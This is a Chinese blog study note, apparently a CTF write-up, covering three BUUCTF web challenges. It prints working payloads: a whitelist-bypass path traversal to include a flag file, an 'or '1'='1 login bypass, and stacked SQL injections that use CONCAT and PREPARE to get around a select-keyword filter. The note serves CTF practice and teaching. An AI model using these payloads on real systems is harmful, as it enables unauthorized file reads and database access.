学习笔记(buuctf web)

原创

哈哈哈我头呢 于 2021-05-09 15:00:28 发布 45 收藏 1

[HCTF 2018]WarmUp

打开后只有一个无法查看的图片，然后查看源码，查看source.php文件
先看代码主体，！empty保证传入的file非空，再用is_string()函数检测file是否为字符串，然后调用emmm类checkFile
再看emmm类，whitelist创建了一个白名单列表，其中有sourceh和hint，isset()和is_string()函数再次检测file是否为空和字符串,mb_strpos查找?出现的位置，并只取其前面的字符串，再次检测白名单。urldecde()函数对变量进行url解码，又再次过滤问号，再进行一次白名单检测
寻找emmm类中返回值为真的位置进行构造，使if中的三个条件均为真，执行Include
先打开hint.php得到提示，flag not here, and flag in ffffllllaaaagggg
file先经过一次一次白名单检测，在经过一个?字符的截断，再经过白名单检测时，通过检测，返回true，主函数中if的三个条件全真，highlight_file(file)

```
payload:source.php?file=hint.php?../../../../../../../../../ffffllllaaaagggg
```

多用几个.../保证ffffllllaaaagggg存在目录下

[极客大挑战 2019]EasySQL

username=1’
password=1’
回显中多了一个’
username=1’or’1’=‘1
password=1’or’1’='1
得到flag

[强网杯 2019]随便注

order by 3时报错
union select database(),2;# 回显存在过滤

```
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
```

于是采用堆叠注入
show databases;#
show tables;#

```
show columns from `1919810931114514`;#
```

查到列名flag

```
?inject=-1';SET @sql = CONCAT('sel','ect',' * from `1919810931114514`;');PREPARE dawn from @sql;EXECUTE dawn;#
```

因为select被过滤
使用concat拼接进行预编译
大写set与prepare